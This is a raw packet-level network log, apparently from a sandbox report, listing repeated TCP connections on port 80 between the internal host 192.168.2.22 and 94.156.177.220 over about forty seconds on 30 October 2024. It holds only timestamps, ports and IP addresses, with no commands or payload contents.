Oct 30, 2024 07:54:18.017317057 CET	80	49207	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:19.013750076 CET	80	49207	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:19.013855934 CET	49207	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:19.019428968 CET	80	49207	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:19.019484043 CET	49207	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:19.435986042 CET	49208	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:19.442579031 CET	80	49208	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:19.442636013 CET	49208	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:19.444344997 CET	49208	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:19.450709105 CET	80	49208	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:19.450763941 CET	49208	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:19.456218004 CET	80	49208	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:20.394819975 CET	80	49208	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:20.394944906 CET	49208	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:20.400716066 CET	80	49208	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:20.400799036 CET	49208	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:20.956264973 CET	49209	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:20.961695910 CET	80	49209	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:20.961765051 CET	49209	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:20.963438988 CET	49209	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:20.968911886 CET	80	49209	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:20.968954086 CET	49209	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:20.974361897 CET	80	49209	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:21.946748972 CET	80	49209	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:21.946849108 CET	49209	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:21.952431917 CET	80	49209	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:21.952491999 CET	49209	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:22.254472971 CET	49210	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:22.259776115 CET	80	49210	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:22.259849072 CET	49210	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:22.262099981 CET	49210	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:22.267389059 CET	80	49210	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:22.267448902 CET	49210	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:22.272768974 CET	80	49210	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:23.266381979 CET	80	49210	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:23.266495943 CET	49210	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:23.272205114 CET	80	49210	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:23.272296906 CET	49210	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:23.892991066 CET	49211	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:23.898485899 CET	80	49211	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:23.898555040 CET	49211	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:23.900155067 CET	49211	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:23.906457901 CET	80	49211	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:23.906512022 CET	49211	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:23.911847115 CET	80	49211	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:24.857485056 CET	80	49211	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:24.857583046 CET	49211	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:24.863594055 CET	80	49211	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:24.863661051 CET	49211	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:25.012283087 CET	49212	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:25.017682076 CET	80	49212	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:25.017741919 CET	49212	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:25.019417048 CET	49212	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:25.024755001 CET	80	49212	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:25.024863005 CET	49212	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:25.030282021 CET	80	49212	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:25.983239889 CET	80	49212	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:25.983434916 CET	49212	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:25.989592075 CET	80	49212	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:25.989656925 CET	49212	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:26.250087023 CET	49213	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:26.255491972 CET	80	49213	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:26.255544901 CET	49213	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:26.257220984 CET	49213	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:26.262672901 CET	80	49213	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:26.262723923 CET	49213	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:26.268105030 CET	80	49213	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:27.211822987 CET	80	49213	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:27.211982965 CET	49213	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:27.218033075 CET	80	49213	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:27.218234062 CET	49213	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:27.338097095 CET	49214	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:27.344798088 CET	80	49214	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:27.344924927 CET	49214	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:27.346591949 CET	49214	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:27.352557898 CET	80	49214	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:27.352626085 CET	49214	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:27.358097076 CET	80	49214	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:28.301366091 CET	80	49214	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:28.301472902 CET	49214	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:28.307250023 CET	80	49214	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:28.307327032 CET	49214	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:28.432411909 CET	49215	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:28.440732956 CET	80	49215	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:28.440797091 CET	49215	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:28.442483902 CET	49215	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:28.450731993 CET	80	49215	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:28.450793028 CET	49215	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:28.456716061 CET	80	49215	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:29.421217918 CET	80	49215	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:29.421348095 CET	49215	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:29.432405949 CET	80	49215	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:29.432562113 CET	49215	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:29.991117001 CET	49216	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:29.996557951 CET	80	49216	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:29.996628046 CET	49216	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:29.998332977 CET	49216	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:30.003946066 CET	80	49216	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:30.003997087 CET	49216	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:30.009356022 CET	80	49216	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:30.992307901 CET	80	49216	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:30.992521048 CET	49216	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:30.998234987 CET	80	49216	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:30.998295069 CET	49216	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:31.498995066 CET	49217	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:31.504359007 CET	80	49217	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:31.504430056 CET	49217	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:31.506217003 CET	49217	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:31.512104988 CET	80	49217	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:31.512150049 CET	49217	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:31.517602921 CET	80	49217	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:32.463643074 CET	80	49217	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:32.463838100 CET	49217	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:32.469592094 CET	80	49217	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:32.469882965 CET	49217	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:32.764662981 CET	49218	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:32.769974947 CET	80	49218	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:32.770068884 CET	49218	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:32.771766901 CET	49218	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:32.777050972 CET	80	49218	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:32.777147055 CET	49218	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:32.782618999 CET	80	49218	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:33.733788013 CET	80	49218	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:33.733980894 CET	49218	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:33.741487980 CET	80	49218	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:33.741590023 CET	49218	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:33.897536039 CET	49219	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:33.903002977 CET	80	49219	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:33.903059006 CET	49219	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:33.904872894 CET	49219	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:33.910213947 CET	80	49219	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:33.910258055 CET	49219	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:33.915577888 CET	80	49219	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:34.864518881 CET	80	49219	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:34.864691019 CET	49219	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:34.870290995 CET	80	49219	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:34.870388031 CET	49219	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:35.090255976 CET	49220	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:35.095752954 CET	80	49220	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:35.095849991 CET	49220	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:35.099098921 CET	49220	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:35.104428053 CET	80	49220	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:35.104496002 CET	49220	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:35.109791040 CET	80	49220	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:36.062658072 CET	80	49220	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:36.062787056 CET	49220	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:36.068361044 CET	80	49220	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:36.068454981 CET	49220	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:36.228853941 CET	49221	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:36.234229088 CET	80	49221	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:36.234407902 CET	49221	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:36.236087084 CET	49221	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:36.241375923 CET	80	49221	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:36.241426945 CET	49221	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:36.246738911 CET	80	49221	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:37.197973013 CET	80	49221	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:37.198254108 CET	49221	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:37.203748941 CET	80	49221	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:37.203815937 CET	49221	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:37.367608070 CET	49222	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:37.372891903 CET	80	49222	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:37.372944117 CET	49222	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:37.374737024 CET	49222	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:37.380053997 CET	80	49222	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:37.380091906 CET	49222	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:37.385906935 CET	80	49222	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:38.366045952 CET	80	49222	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:38.366246939 CET	49222	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:38.371973991 CET	80	49222	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:38.372023106 CET	49222	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:38.491506100 CET	49223	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:38.497042894 CET	80	49223	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:38.497104883 CET	49223	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:38.498739958 CET	49223	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:38.504087925 CET	80	49223	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:38.504153967 CET	49223	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:38.509569883 CET	80	49223	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:39.625022888 CET	80	49223	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:39.625165939 CET	49223	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:39.630870104 CET	80	49223	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:39.630958080 CET	49223	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:39.755554914 CET	49224	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:39.761009932 CET	80	49224	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:39.761075020 CET	49224	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:39.762737989 CET	49224	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:39.767986059 CET	80	49224	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:39.768034935 CET	49224	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:39.773401022 CET	80	49224	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:40.726536989 CET	80	49224	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:40.726653099 CET	49224	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:40.732114077 CET	80	49224	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:40.732182026 CET	49224	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:40.863270998 CET	49225	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:40.868558884 CET	80	49225	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:40.868628025 CET	49225	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:40.870287895 CET	49225	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:41.176219940 CET	49225	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:41.179862022 CET	80	49225	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:41.425209045 CET	80	49225	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:41.819596052 CET	80	49225	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:41.819719076 CET	49225	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:41.825536013 CET	80	49225	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:41.825598001 CET	49225	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:41.955616951 CET	49226	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:41.961116076 CET	80	49226	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:41.961978912 CET	49226	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:41.964993000 CET	49226	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:41.970428944 CET	80	49226	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:41.970510006 CET	49226	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:41.976022959 CET	80	49226	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:42.946930885 CET	80	49226	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:42.947068930 CET	49226	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:42.954128981 CET	80	49226	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:42.954214096 CET	49226	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:43.080413103 CET	49227	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:43.085865021 CET	80	49227	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:43.085933924 CET	49227	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:43.087531090 CET	49227	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:43.092776060 CET	80	49227	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:43.092819929 CET	49227	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:43.098182917 CET	80	49227	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:44.296372890 CET	80	49227	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:44.296490908 CET	49227	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:44.296797991 CET	80	49227	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:44.296818018 CET	80	49227	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:44.296849966 CET	49227	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:44.296865940 CET	49227	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:44.301840067 CET	80	49227	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:44.853749037 CET	49228	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:44.859217882 CET	80	49228	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:44.859287024 CET	49228	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:44.860908031 CET	49228	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:44.866287947 CET	80	49228	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:44.866333008 CET	49228	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:44.871670008 CET	80	49228	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:45.815138102 CET	80	49228	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:45.815254927 CET	49228	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:45.820987940 CET	80	49228	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:45.821057081 CET	49228	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:45.952898979 CET	49229	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:45.958323956 CET	80	49229	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:45.958509922 CET	49229	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:45.960128069 CET	49229	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:45.965519905 CET	80	49229	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:45.965599060 CET	49229	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:45.972843885 CET	80	49229	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:46.916707039 CET	80	49229	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:46.916793108 CET	49229	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:46.923090935 CET	80	49229	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:46.923146009 CET	49229	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:47.056093931 CET	49230	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:47.061516047 CET	80	49230	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:47.061578989 CET	49230	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:47.063215971 CET	49230	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:47.068464994 CET	80	49230	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:47.068516016 CET	49230	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:47.073865891 CET	80	49230	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:48.348298073 CET	80	49230	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:48.348413944 CET	49230	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:48.348793983 CET	80	49230	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:48.348808050 CET	80	49230	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:48.348839998 CET	49230	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:48.348855972 CET	49230	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:48.354443073 CET	80	49230	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:48.479981899 CET	49231	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:48.485418081 CET	80	49231	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:48.485483885 CET	49231	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:48.487174034 CET	49231	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:48.492764950 CET	80	49231	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:48.492840052 CET	49231	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:48.498256922 CET	80	49231	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:49.455952883 CET	80	49231	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:49.456058979 CET	49231	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:49.461630106 CET	80	49231	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:49.461685896 CET	49231	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:49.585108995 CET	49232	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:49.590538979 CET	80	49232	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:49.590614080 CET	49232	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:49.592266083 CET	49232	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:49.597592115 CET	80	49232	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:49.597654104 CET	49232	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:49.602977991 CET	80	49232	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:50.560970068 CET	80	49232	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:50.561172009 CET	49232	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:50.566831112 CET	80	49232	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:50.566889048 CET	49232	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:50.698287010 CET	49233	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:50.704857111 CET	80	49233	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:50.704916954 CET	49233	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:50.706576109 CET	49233	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:50.712474108 CET	80	49233	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:50.712548018 CET	49233	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:50.718070030 CET	80	49233	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:51.680111885 CET	80	49233	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:51.680376053 CET	49233	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:51.686327934 CET	80	49233	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:51.686402082 CET	49233	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:51.816670895 CET	49234	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:51.821984053 CET	80	49234	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:51.822046995 CET	49234	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:51.824389935 CET	49234	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:51.830398083 CET	80	49234	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:51.830441952 CET	49234	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:51.836740017 CET	80	49234	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:52.806888103 CET	80	49234	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:52.807099104 CET	49234	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:52.814650059 CET	80	49234	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:52.814712048 CET	49234	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:53.119287968 CET	49235	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:53.124705076 CET	80	49235	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:53.124763966 CET	49235	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:53.127101898 CET	49235	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:53.132451057 CET	80	49235	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:53.132500887 CET	49235	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:53.137823105 CET	80	49235	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:54.096072912 CET	80	49235	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:54.096219063 CET	49235	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:54.101986885 CET	80	49235	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:54.102078915 CET	49235	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:54.240324020 CET	49236	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:54.474889040 CET	80	49236	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:54.475028992 CET	49236	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:54.476700068 CET	49236	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:54.482084990 CET	80	49236	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:54.482153893 CET	49236	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:54.487551928 CET	80	49236	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:55.452620029 CET	80	49236	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:55.452783108 CET	49236	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:55.458410025 CET	80	49236	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:55.458517075 CET	49236	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:55.603218079 CET	49237	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:55.608517885 CET	80	49237	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:55.608594894 CET	49237	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:55.610251904 CET	49237	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:55.615569115 CET	80	49237	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:55.615665913 CET	49237	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:55.620971918 CET	80	49237	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:56.572513103 CET	80	49237	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:56.572761059 CET	49237	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:56.578488111 CET	80	49237	94.156.177.220	192.168.2.22
